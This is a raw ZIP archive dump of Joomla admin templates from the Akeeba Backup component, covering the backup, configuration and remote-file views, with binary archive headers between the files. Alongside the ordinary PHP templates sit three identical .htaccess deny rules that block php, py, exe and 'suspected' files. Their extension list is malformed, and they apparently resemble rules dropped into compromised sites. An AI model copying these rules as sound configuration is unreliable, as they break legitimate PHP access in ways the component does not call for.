PK     \Sʉ        tmpl/manage/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \e#      tmpl/remotefiles/dlprogress.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var  Akeeba\Component\AkeebaBackup\Administrator\View\Remotefiles\HtmlView $this */
?>
<div id="backup-percentage" class="progress">
    <div id="progressbar-inner" class="progress-bar" style="width: <?= min(max(0, (int) $this->percent), 100) ?>%"></div>
</div>

<div class="alert alert-info">
    <?= Text::sprintf('COM_AKEEBABACKUP_REMOTEFILES_LBL_DOWNLOADEDSOFAR', $this->done, $this->total, $this->percent) ?>
</div>

<form action="<?= Route::_('index.php?option=com_akeebabackup&task=Remotefiles.dltoserver&tmpl=component') ?>" method="post" name="adminForm" id="adminForm">
    <input type="hidden" name="id" value="<?= (int)$this->id ?>" />
    <input type="hidden" name="part" value="<?= (int)$this->part ?>" />
    <input type="hidden" name="frag" value="<?= (int)$this->frag ?>" />
	<?= HTMLHelper::_('form.token') ?>
</form>
PK     \t!      tmpl/remotefiles/default.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text as JText;

/** @var  \Akeeba\Component\AkeebaBackup\Administrator\View\Remotefiles\HtmlView $this */

// Is the engine incapable of any action?
$noCapabilities = !$this->capabilities['delete']
	&& !$this->capabilities['downloadToFile']
	&& !$this->capabilities['downloadToBrowser'];

// Are all remote files no longer present?
$downloadToFileNotAvailable = !$this->actions['downloadToFile'] && $this->capabilities['downloadToFile'];
$deleteNotAvailable = !$this->actions['delete'] && $this->capabilities['delete'];
$allRemoteFilesGone = $downloadToFileNotAvailable && $deleteNotAvailable;

?>
<div class="card d-none text-center mb-3" id="akeebaBackupRemoteFilesWorkInProgress">
	<h3 class="card-header"><?= JText::_('COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_HEADER') ?></h3>
	<div class="card-body">
		<?= \Joomla\CMS\HTML\HTMLHelper::_('image',
			\Joomla\CMS\Uri\Uri::root() . 'media/com_akeebabackup/icons/spinner.gif',
			JText::_('COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_LBL_PLEASEWAIT')
		) ?>

		<p>
			<?= JText::_('COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_LBL_UNDERWAY')?>
		</p>
		<p>
			<?= JText::_('COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_LBL_WAITINGINFO')?>
		</p>
	</div>
</div>

<div id="akeebaBackupRemoteFilesMainInterface">
    <div class="card mb-3">
		<h3 class="card-header bg-primary text-white"><?= JText::_('COM_AKEEBABACKUP_REMOTEFILES')?></h3>
		<div class="card-body">
			<?php // ===== No capabilities ===== ?>
			<?php if($noCapabilities): ?>
				<div class="alert alert-danger">
					<h3>
						<?= JText::_('COM_AKEEBABACKUP_REMOTEFILES_ERR_NOTSUPPORTED_HEADER')?>
					</h3>
					<p>
						<?= JText::_('COM_AKEEBABACKUP_REMOTEFILES_ERR_NOTSUPPORTED')?>
					</p>
				</div>
				<?php // ===== Remote files gone, no operations available ===== ?>
			<?php elseif($deleteNotAvailable): ?>
				<div class="alert alert-danger">
					<h3>
						<?= JText::_('COM_AKEEBABACKUP_REMOTEFILES_ERR_NOTSUPPORTED_HEADER')?>
					</h3>
					<p>
						<?= JText::_('COM_AKEEBABACKUP_REMOTEFILES_ERR_NOTSUPPORTED_ALREADYONSERVER')?>
					</p>
				</div>
			<?php else: ?>
				<?php if($this->actions['downloadToFile']): ?>
					<a class="btn btn-primary text-decoration-none akeebaRemoteFilesShowWait"
					   href="index.php?option=com_akeebabackup&view=Remotefiles&task=dltoserver&tmpl=component&id=<?= $this->id ?>&part=-1&<?= \Joomla\CMS\Factory::getApplication()->getFormToken() ?>=1"
					>
						<span class="fa fa-cloud-download-alt"></span>
						<span><?= JText::_('COM_AKEEBABACKUP_REMOTEFILES_FETCH')?></span>
					</a>
				<?php else: ?>
					<button type="button"
							class="btn btn-primary"
							disabled="disabled"
							title="<?= JText::_($this->capabilities['downloadToFile'] ? 'COM_AKEEBABACKUP_REMOTEFILES_ERR_DOWNLOADEDTOFILE_ALREADY' : 'COM_AKEEBABACKUP_REMOTEFILES_ERR_UNSUPPORTED')?>">
						<span class="fa fa-cloud-download-alt"></span>
						<span><?= JText::_('COM_AKEEBABACKUP_REMOTEFILES_FETCH')?></span>
					</button>
				<?php endif; ?>

				<?php if($this->actions['delete']): ?>
					<a class="btn btn-danger text-decoration-none akeebaRemoteFilesShowWait"
					   href="index.php?option=com_akeebabackup&view=Remotefiles&task=delete&tmpl=component&id=<?= $this->id ?>&part=-1"
					>
						<span class="fa fa-trash"></span>
						<span><?= JText::_('COM_AKEEBABACKUP_REMOTEFILES_DELETE')?></span>
					</a>
				<?php else: ?>
					<button type="button"
							class="btn btn-primary" disabled="disabled"
							title="<?= JText::_($this->capabilities['delete'] ? 'COM_AKEEBABACKUP_REMOTEFILES_ERR_DELETE_ALREADY' : 'COM_AKEEBABACKUP_REMOTEFILES_ERR_UNSUPPORTED')?>">
						<span class="fa fa-trash"></span>
						<span><?= JText::_('COM_AKEEBABACKUP_REMOTEFILES_DELETE')?></span>
					</button>
				<?php endif ?>
			<?php endif ?>
		</div>
    </div>

	<?php if($this->actions['downloadToBrowser'] != 0): ?>
		<div class="card mb-3">
			<h3 class="card-header bg-info text-white">
				<?= JText::_('COM_AKEEBABACKUP_REMOTEFILES_LBL_DOWNLOADLOCALLY')?>
			</h3>

			<div class="card-body">
				<?php for($part = 0; $part < $this->actions['downloadToBrowser']; $part++): ?>
					<a href="index.php?option=com_akeebabackup&view=Remotefiles&task=dlfromremote&id=<?= $this->id ?>&part=<?= $part ?>"
					   class="btn btn-sm btn-secondary">
						<span class="fa fa-file-download"></span>
						<?= JText::sprintf('COM_AKEEBABACKUP_REMOTEFILES_PART', $part) ?>
					</a>
				<?php endfor ?>
			</div>
		</div>
	<?php endif ?>
</div>PK     \Sʉ        tmpl/remotefiles/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \)0N    $  tmpl/configuration/confwiz_modal.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
use Joomla\CMS\Language\Text;

defined('_JEXEC') || die();

/** @var \Joomla\CMS\MVC\View\HtmlView|\Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewLoadAnyTemplateTrait $this */

// Make sure we only ever add this HTML and JS once per page
if (defined('AKEEBA_VIEW_JAVASCRIPT_CONFWIZ_MODAL'))
{
	return;
}

define('AKEEBA_VIEW_JAVASCRIPT_CONFWIZ_MODAL', 1);

$js = <<< JS
window.addEventListener('DOMContentLoaded', function() {
	new window.bootstrap.Modal(document.getElementById('akeeba-config-confwiz-bubble'), {
	        backdrop: 'static',
	        keyboard: true,
	        focus: true
	    }).show();
});

JS;

$this->getDocument()->getWebAssetManager()
	->useScript('bootstrap.modal')
	->addInlineScript($js, [], [], ['bootstrap.modal']);
?>

<div id="akeeba-config-confwiz-bubble"
	 class="modal fade"
	 role="dialog"
	 tabindex="-1"
	 aria-labelledby="akeeba-config-confwiz-title"
	 aria-hidden="true"
>
	<div class="modal-dialog modal-dialog-centered">
		<div class="modal-content">
			<div class="modal-header">
				<h3 class="modal-title" id="akeeba-config-confwiz-title">
					<?= Text::_('COM_AKEEBABACKUP_CONFIG_HEADER_CONFWIZ') ?>
				</h3>
				<button type="button" class="btn-close novalidate" data-bs-dismiss="modal"
						aria-label="<?= Text::_('JLIB_HTML_BEHAVIOR_CLOSE') ?>"></button>
			</div>
			<div class="modal-body p-3">
				<p>
					<?= Text::_('COM_AKEEBABACKUP_CONFIG_LBL_CONFWIZ_INTRO') ?>
				</p>
				<p class="d-grid gap-2">
					<a href="index.php?option=com_akeebabackup&view=Configurationwizard"
					   class="btn bg-success text-white btn-lg"> <span class="fa fa-bolt"></span>&nbsp;
						<?= Text::_('COM_AKEEBABACKUP_CONFWIZ') ?>
					</a>
				</p>
				<p>
					<?= Text::_('COM_AKEEBABACKUP_CONFIG_LBL_CONFWIZ_AFTER') ?>
				</p>
			</div>
			<div class="modal-footer">
				<button
						class="btn btn-primary btn-sm"
						data-bs-dismiss="modal"
				>
					<span class="fa fa-times"></span>
					<?= Text::_('JCANCEL') ?>
				</button>
			</div>
		</div>
	</div>

</div>
PK     \F&  &    tmpl/configuration/default.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var  \Akeeba\Component\AkeebaBackup\Administrator\View\Configuration\HtmlView $this */

// Enable Bootstrap popovers
HTMLHelper::_('bootstrap.popover', '[rel=popover]', [
	'html'      => true,
	'placement' => 'bottom',
	'trigger'   => 'click hover',
	'sanitize'  => false,
]);

// Configuration Wizard pop-up
if ($this->promptForConfigurationwizard)
{
	echo $this->loadAnyTemplate('Configuration/confwiz_modal');
}

// Modal dialog prototypes
echo $this->loadAnyTemplate('commontemplates/ftpconnectiontest');
echo $this->loadAnyTemplate('commontemplates/errormodal');
echo $this->loadAnyTemplate('commontemplates/folderbrowser');
?>

<?php if($this->secureSettings == 1): ?>
    <div class="alert alert-success alert-dismissible">
		<?= Text::_('COM_AKEEBABACKUP_CONFIG_UI_SETTINGS_SECURED') ?>
		<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="<?= Text::_('JLIB_HTML_BEHAVIOR_CLOSE') ?>"></button>
    </div>
<?php elseif($this->secureSettings == 0): ?>
    <div class="alert alert-warning alert-dismissible">
	    <?= Text::_('COM_AKEEBABACKUP_CONFIG_UI_SETTINGS_NOTSECURED') ?>
		<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="<?= Text::_('JLIB_HTML_BEHAVIOR_CLOSE') ?>"></button>
    </div>
<?php endif ?>

<?= $this->loadAnyTemplate('commontemplates/profilename') ?>

<div class="alert alert-info alert-dismissible">
	<?= Text::_('COM_AKEEBABACKUP_CONFIG_WHERE_ARE_THE_FILTERS') ?>
	<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="<?= Text::_('JLIB_HTML_BEHAVIOR_CLOSE') ?>"></button>
</div>

<form name="adminForm" id="adminForm" method="post"
	  action="<?= Route::_('index.php?option=com_akeebabackup&view=Configuration') ?>">

	<div class="card">
		<h3 class="card-header">
			<?= Text::_('COM_AKEEBABACKUP_PROFILES_LABEL_DESCRIPTION') ?>
		</h3>

		<div class="card-body">
			<div class="row mb-3">
				<label for="profilename" class="col-sm-3 col-form-label"
					   rel="popover"
					   title="<?= Text::_('COM_AKEEBABACKUP_PROFILES_LABEL_DESCRIPTION') ?>"
					   data-bs-content="<?= Text::_('COM_AKEEBABACKUP_PROFILES_LABEL_DESCRIPTION_TOOLTIP') ?>"
				>
					<?= Text::_('COM_AKEEBABACKUP_PROFILES_LABEL_DESCRIPTION') ?>
				</label>
				<div class="col-sm-9">
					<input type="text" name="profilename" id="profilename"
						   class="form-control"
						   value="<?= $this->escape($this->profileName) ?>"/>
				</div>
			</div>

			<div class="row mb-3">
				<div class="col-sm-9 offset-sm-3">
					<div class="form-check">
						<input type="checkbox" name="quickicon"
							   class="form-check-input"
							   id="quickicon" <?= $this->quickIcon ? 'checked="checked"' : '' ?>/>
						<label for="quickicon"
							   class="form-check-label"
							   rel="popover"
							   title="<?= Text::_('COM_AKEEBABACKUP_CONFIG_QUICKICON_LABEL') ?>"
							   data-bs-content="<?= Text::_('COM_AKEEBABACKUP_CONFIG_QUICKICON_DESC') ?>"
						>
							<?= Text::_('COM_AKEEBABACKUP_CONFIG_QUICKICON_LABEL') ?>
						</label>
					</div>
				</div>
			</div>
		</div>
    </div>

    <!-- This div contains dynamically generated user interface elements -->
    <div id="akeebagui">
    </div>

	<input type="hidden" name="task" value=""/>
	<?= HTMLHelper::_('form.token') ?>
</form>
PK     \x|Ά      tmpl/configuration/default.xmlnu [        <?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->
<metadata>
	<layout title="COM_AKEEBABACKUP_VIEW_CONFIGURATION_TITLE">
		<message>
			<![CDATA[COM_AKEEBABACKUP_VIEW_CONFIGURATION_DESC]]>
		</message>
	</layout>
</metadata>
PK     \Sʉ        tmpl/configuration/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \@a={      tmpl/backup/default_script.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;

/**
 * This file passes parameters to the Backup.js script using Joomla's script options API
 *
 * @var  $this  \Akeeba\Component\AkeebaBackup\Administrator\View\Backup\HtmlView
 */

$escapedBaseURL = addslashes(Uri::base());

// Initialization
$document = $this->getDocument();
$document->addScriptOptions('akeebabackup.Backup.defaultDescription', addslashes($this->defaultDescription));
$document->addScriptOptions('akeebabackup.Backup.currentDescription', addslashes(empty($this->description) ? $this->defaultDescription : $this->description));
$document->addScriptOptions('akeebabackup.Backup.currentComment', addslashes($this->comment));
$document->addScriptOptions('akeebabackup.Backup.hasAngieKey', $this->hasANGIEPassword);

// Auto-resume setup
$document->addScriptOptions('akeebabackup.Backup.resume.enabled', (bool) $this->autoResume);
$document->addScriptOptions('akeebabackup.Backup.resume.timeout', (int) $this->autoResumeTimeout);
$document->addScriptOptions('akeebabackup.Backup.resume.maxRetries', (int) $this->autoResumeRetries);

// The return URL
$document->addScriptOptions('akeebabackup.Backup.returnUrl', addcslashes($this->returnURL, "'\\"));

// Used as parameters to start_timeout_bar()
$document->addScriptOptions('akeebabackup.Backup.maxExecutionTime', (int) $this->maxExecutionTime);
$document->addScriptOptions('akeebabackup.Backup.runtimeBias', (int) $this->runtimeBias);

// Notifications
$document->addScriptOptions('akeebabackup.System.notification.iconURL', sprintf("%s../media/com_akeebabackup/icons/logo-48.png", $escapedBaseURL));
$document->addScriptOptions('akeebabackup.System.notification.hasDesktopNotification', (bool) $this->desktopNotifications);

// Domain keys
$document->addScriptOptions('akeebabackup.Backup.domains', $this->domains);

// AJAX proxy, View Log and ALICE URLs
$document->addScriptOptions('akeebabackup.System.params.AjaxURL', 'index.php?option=com_akeebabackup&view=Backup&task=ajax');
$document->addScriptOptions('akeebabackup.Backup.URLs.LogURL', sprintf("%sindex.php?option=com_akeebabackup&view=Log", $escapedBaseURL));
$document->addScriptOptions('akeebabackup.Backup.URLs.AliceURL', sprintf("%sindex.php?option=com_akeebabackup&view=Alice", $escapedBaseURL));

// Behavior triggers
$document->addScriptOptions('akeebabackup.Backup.autostart', (!$this->unwriteableOutput && $this->autoStart) ? 1 : 0);

// Push language strings to Javascript
Text::script('COM_AKEEBABACKUP_BACKUP_TEXT_LASTRESPONSE');
Text::script('COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPSTARTED');
Text::script('COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPFINISHED');
Text::script('COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPHALT');
Text::script('COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPRESUME');
Text::script('COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPHALT_DESC');
Text::script('COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPFAILED');
Text::script('COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPWARNING');
Text::script('COM_AKEEBABACKUP_BACKUP_TEXT_AVGWARNING');
PK     \LT.  T.    tmpl/backup/default.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var  $this  \Akeeba\Component\AkeebaBackup\Administrator\View\Backup\HtmlView */

// Configuration Wizard pop-up
if ($this->promptForConfigurationwizard)
{
	echo $this->loadAnyTemplate('Configuration/confwiz_modal');
}

// The Javascript of the page
echo $this->loadTemplate('script');

?>

<?php // Backup Setup ?>
<div id="backup-setup" class="card">
	<h3 class="card-header bg-primary text-white">
		<?= Text::_('COM_AKEEBABACKUP_BACKUP_HEADER_STARTNEW') ?>
	</h3>
	<div class="card-body">
		<?php if($this->hasWarnings && !$this->unwriteableOutput): ?>
			<div id="quirks" class="alert alert-<?= $this->hasErrors ? 'danger' : 'warning' ?>">
				<h3 class="alert-heading">
					<?= Text::_('COM_AKEEBABACKUP_BACKUP_LABEL_DETECTEDQUIRKS') ?>
				</h3>
				<p>
					<?= Text::_('COM_AKEEBABACKUP_BACKUP_LABEL_QUIRKSLIST') ?>
				</p>
				<?= $this->warningsCell ?>

			</div>
		<?php endif ?>

		<?php if($this->unwriteableOutput): ?>
			<div id="akeeba-fatal-outputdirectory" class="alert alert-danger">
				<h3>
					<?= Text::_('COM_AKEEBABACKUP_BACKUP_ERROR_UNWRITABLEOUTPUT_' . ($this->autoStart ? 'AUTOBACKUP' : 'NORMALBACKUP')) ?>
				</h3>
				<p>
					<?= Text::sprintf('COM_AKEEBABACKUP_BACKUP_ERROR_UNWRITABLEOUTPUT_COMMON', 'index.php?option=com_akeebabackup&view=Configuration', 'https://www.akeeba.com/warnings/q001.html') ?>
				</p>
			</div>
		<?php endif ?>

		<form action="<?= Route::_('index.php?option=com_akeebabackup&view=Backup') ?>" method="post"
			  name="flipForm" id="flipForm"
			  class="akeebabackup-profile-switch-container d-md-flex flex-md-row justify-content-md-evenly align-items-center border border-1 bg-light border-rounded rounded-2 mt-1 mb-2 p-2"
			  autocomplete="off">

			<div class="m-2">
				<label>
					<?= Text::_('COM_AKEEBABACKUP_CPANEL_PROFILE_TITLE') ?>: #<?= (int)$this->profileId ?>
				</label>
			</div>
			<div class="flex-grow-1">
				<joomla-field-fancy-select
						search-placeholder="<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_PROFILEID') ?>"
				><?=
					HTMLHelper::_('select.genericlist', $this->profileList, 'profileid', [
						'list.select' => $this->profileId,
						'id' => 'comAkeebaControlPanelProfileSwitch',
					])
					?></joomla-field-fancy-select>
			</div>

			<input type="hidden" name="returnurl" value="<?= $this->escape($this->returnURL) ?>"/>
			<input type="hidden" name="description" id="flipDescription" value=""/>
			<input type="hidden" name="comment" id="flipComment" value=""/>
			<?= HTMLHelper::_('form.token') ?>
		</form>
		<div class="alert alert-info small mt-0 mb-3">
			<span class="fa fa-fw fa-info-circle" aria-hidden="true"></span>
			<?= Text::_('COM_AKEEBABACKUP_BACKUP_LBL_EXPLAIN_PROFILES') ?>
		</div>

		<form id="dummyForm" style="display: <?= $this->unwriteableOutput ? 'none' : 'block' ?>;">

			<div class="row mb-3">
				<label for="backup-description" class="col-sm-3 col-form-label">
					<?= Text::_('COM_AKEEBABACKUP_BACKUP_LABEL_DESCRIPTION') ?>
				</label>
				<div class="col-sm-9">
					<input type="text" name="description"
						   class="form-control"
						   id="backup-description"
						   value="<?= $this->escape(empty($this->description) ? $this->defaultDescription : $this->description)?>"
						   maxlength="255" size="80"  autocomplete="off" />
					<span class="text-muted"><?= Text::_('COM_AKEEBABACKUP_BACKUP_LABEL_DESCRIPTION_HELP') ?></span>
				</div>
			</div>

			<div class="row mb-3">
				<label for="comment" class="col-sm-3 col-form-label">
					<?= Text::_('COM_AKEEBABACKUP_BACKUP_LABEL_COMMENT') ?>
				</label>
				<div class="col-sm-9">
					<textarea
							name="comment" id="comment"
							class="form-control"
							rows="5" cols="73"><?= $this->comment ?></textarea>
					<span class="text-muted"><?= Text::_('COM_AKEEBABACKUP_BACKUP_LABEL_COMMENT_HELP') ?></span>
				</div>
			</div>

			<div class="row mb-3">
				<div class="col-sm-9 offset-sm-3">
					<button type="button"
							class="btn btn-primary btn-lg" id="backup-start">
						<span class="fa fa-play"></span>
						<?= Text::_('COM_AKEEBABACKUP_BACKUP_LABEL_START') ?>
					</button>

					<a class="btn btn-outline-danger" id="backup-default" href="#">
						<span class="fa fa-redo"></span>
						<?= Text::_('COM_AKEEBABACKUP_BACKUP_LABEL_RESTORE_DEFAULT') ?>
					</a>
				</div>
			</div>
		</form>
	</div>
</div>

<?php // Warning for having set an ANGIE password ?>
<div id="angie-password-warning" class="alert alert-warning alert-dismissible fade show" style="display: none">
    <h3>
		<?= Text::_('COM_AKEEBABACKUP_BACKUP_ANGIE_PASSWORD_WARNING_HEADER') ?>
		<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="<?= Text::_('JLIB_HTML_BEHAVIOR_CLOSE') ?>"></button>
	</h3>
    <p><?= Text::_('COM_AKEEBABACKUP_BACKUP_ANGIE_PASSWORD_WARNING_1') ?></p>
    <p><?= Text::_('COM_AKEEBABACKUP_BACKUP_ANGIE_PASSWORD_WARNING_2') ?></p>
</div>

<?php // Backup in progress ?>
<div id="backup-progress-pane" style="display: none">
	<div class="alert alert-info">
		<?= Text::_('COM_AKEEBABACKUP_BACKUP_TEXT_BACKINGUP') ?>
	</div>

    <div class="card">
		<h3 class="card-header bg-primary text-white">
		    <?= Text::_('COM_AKEEBABACKUP_BACKUP_LABEL_PROGRESS') ?>
		</h3>

        <div id="backup-progress-content" class="card-body">
            <div id="backup-steps"></div>
            <div id="backup-status" class="mt-3 border rounded bg-light text-dark">
                <div id="backup-step" class="p-1"></div>
                <div id="backup-substep" class="p-1 text-muted border-top"></div>
            </div>
            <div id="backup-percentage" class="progress mt-3 mb-3">
                <div class="progress-bar" role="progressbar" aria-valuemin="0" aria-valuemax="100" aria-valuenow="0" style="width: 0"></div>
            </div>
            <div id="response-timer" class="text-muted">
                <div class="text"></div>
            </div>
        </div>
    </div>

    <?php if (!AKEEBABACKUP_PRO): ?>
    <div class="alert alert-primary lead text-center fst-italic">
		<span class="fa fa-question-circle"></span>
		<?= Text::_('COM_AKEEBABACKUP_BACKUP_LBL_UPGRADENAG') ?>
    </div>
	<?php endif ?>
</div>

<?php // Backup complete ?>
<div id="backup-complete" style="display: none">
    <div class="card">
		<h3 class="card-header bg-success text-white">
		    <?php if(empty($this->returnURL)): ?>
			    <?= Text::_('COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPFINISHED') ?>
		    <?php else: ?>
			    <?= Text::_('COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPWITHRETURNURLFINISHED') ?>
		    <?php endif ?>
		</h3>

		<div id="finishedframe" class="card-body">
            <p>
				<?php if(empty($this->returnURL)): ?>
					<?= Text::_('COM_AKEEBABACKUP_BACKUP_TEXT_CONGRATS') ?>
				<?php else: ?>
					<?= Text::_('COM_AKEEBABACKUP_BACKUP_TEXT_PLEASEWAITFORREDIRECTION') ?>
				<?php endif ?>
            </p>

			<?php if(empty($this->returnURL)): ?>
                <a class="btn btn-outline-dark btn-lg" href="index.php?option=com_akeebabackup">
                    <span class="fa fa-arrow-left"></span>
					<?= Text::_('COM_AKEEBABACKUP_CONTROLPANEL') ?>
                </a>
                <a class="btn btn-primary btn-lg" href="index.php?option=com_akeebabackup&view=Manage">
                    <span class="fa fa-list-alt"></span>
					<?= Text::_('COM_AKEEBABACKUP_BUADMIN') ?>
                </a>
                <a class="btn btn-outline-dark" id="ab-viewlog-success" href="index.php?option=com_akeebabackup&view=Log&latest=1">
                    <span class="fa fa-search"></span>
					<?= Text::_('COM_AKEEBABACKUP_LOG') ?>
                </a>
	        <?php endif ?>
        </div>
    </div>
</div>

<?php // Backup warnings ?>
<div id="backup-warnings-panel" style="display:none">
    <div class="card mt-3">
		<h3 class="card-header bg-warning">
		    <?= Text::_('COM_AKEEBABACKUP_BACKUP_LABEL_WARNINGS') ?>
		</h3>
        <div id="warnings-list" class="card-body overflow-scroll" style="height: 20em">
        </div>
    </div>
</div>

<?php // Backup retry after error ?>
<div id="retry-panel" style="display: none">
	<div class="card mt-3">
		<h3 class="card-header bg-warning">
			<?= Text::_('COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPRETRY') ?>
		</h3>
		<div id="retryframe" class="card-body">
			<p><?= Text::_('COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPFAILEDRETRY') ?></p>
			<p class="mt-2 mb-2 fw-bold">
				<?= Text::_('COM_AKEEBABACKUP_BACKUP_TEXT_WILLRETRY') ?>
				<span id="akeebabackup-retry-timeout">0</span>
				<?= Text::_('COM_AKEEBABACKUP_BACKUP_TEXT_WILLRETRYSECONDS') ?>
			</p>
			<p>
				<button type="button"
						class="btn btn-outline-danger" id="comAkeebaBackupCancelResume">
					<span class="fa fa-times"></span>
					<?= Text::_('COM_AKEEBABACKUP_MULTIDB_GUI_LBL_CANCEL') ?>
				</button>
				<button type="button"
						class="btn btn-success" id="comAkeebaBackupResumeBackup">
					<span class="fa fa-redo"></span>
					<?= Text::_('COM_AKEEBABACKUP_BACKUP_TEXT_BTNRESUME') ?>
				</button>
			</p>

			<p><?= Text::_('COM_AKEEBABACKUP_BACKUP_TEXT_LASTERRORMESSAGEWAS') ?></p>
			<p id="backup-error-message-retry"></p>
		</div>
	</div>
</div>

<?php // Backup error (halt) ?>
<div id="error-panel" style="display: none">
	<div class="card mt-3">
		<h3 class="card-header bg-danger text-white">
			<?= Text::_('COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPFAILED') ?>
		</h3>

		<div id="errorframe" class="card-body">
			<p>
				<?= Text::_('COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPFAILED') ?>
			</p>
			<p id="backup-error-message"></p>

			<p>
				<?= Text::_('COM_AKEEBABACKUP_BACKUP_TEXT_READLOGFAIL' . (AKEEBABACKUP_PRO ? 'PRO' : '')) ?>
			</p>

			<div class="alert alert-info" id="error-panel-troubleshooting">
				<p>
					<?php if(AKEEBABACKUP_PRO): ?>
					<?= Text::_('COM_AKEEBABACKUP_BACKUP_TEXT_RTFMTOSOLVEPRO') ?>
					<?php endif ?>

					<?= Text::sprintf('COM_AKEEBABACKUP_BACKUP_TEXT_RTFMTOSOLVE', 'https://www.akeeba.com/documentation/akeeba-backup-joomla/backup-now.html?utm_source=akeeba_backup&utm_campaign=backuperrorlink#troubleshoot-backup') ?>
				</p>
				<p>
					<?php if(AKEEBABACKUP_PRO): ?>
					<?= Text::sprintf('COM_AKEEBABACKUP_BACKUP_TEXT_SOLVEISSUE_PRO', 'https://www.akeeba.com/support.html?utm_source=akeeba_backup&utm_campaign=backuperrorpro') ?>
					<?php else: ?>
					<?= Text::sprintf('COM_AKEEBABACKUP_BACKUP_TEXT_SOLVEISSUE_CORE', 'https://www.akeeba.com/subscribe.html?utm_source=akeeba_backup&utm_campaign=backuperrorcore','https://www.akeeba.com/support.html?utm_source=akeeba_backup&utm_campaign=backuperrorcore') ?>
					<?php endif ?>

					<?= Text::sprintf('COM_AKEEBABACKUP_BACKUP_TEXT_SOLVEISSUE_LOG', 'index.php?option=com_akeebabackup&view=Log&latest=1') ?>
				</p>
			</div>

			<?php if(AKEEBABACKUP_PRO): ?>
			<a class="btn btn-success" id="ab-alice-error" href="index.php?option=com_akeebabackup&view=Alice">
				<span class="fa fa-briefcase-medical"></span>
				<?= Text::_('COM_AKEEBABACKUP_BACKUP_ANALYSELOG') ?>
			</a>
			<?php endif ?>

			<a class="btn btn-primary" href="https://www.akeeba.com/documentation/akeeba-backup-joomla/troubleshoot-backup.html?utm_source=akeeba_backup&utm_campaign=backuperrorbutton">
				<span class="fa fa-book"></span>
				<?= Text::_('COM_AKEEBABACKUP_BACKUP_TROUBLESHOOTINGDOCS') ?>
			</a>

            <a class="btn btn-outline-dark" id="ab-viewlog-error" href="index.php?option=com_akeebabackup&view=Log&latest=1">
				<span class="fa fa-search"></span>
				<?= Text::_('COM_AKEEBABACKUP_LOG') ?>
			</a>
		</div>
	</div>
</div>
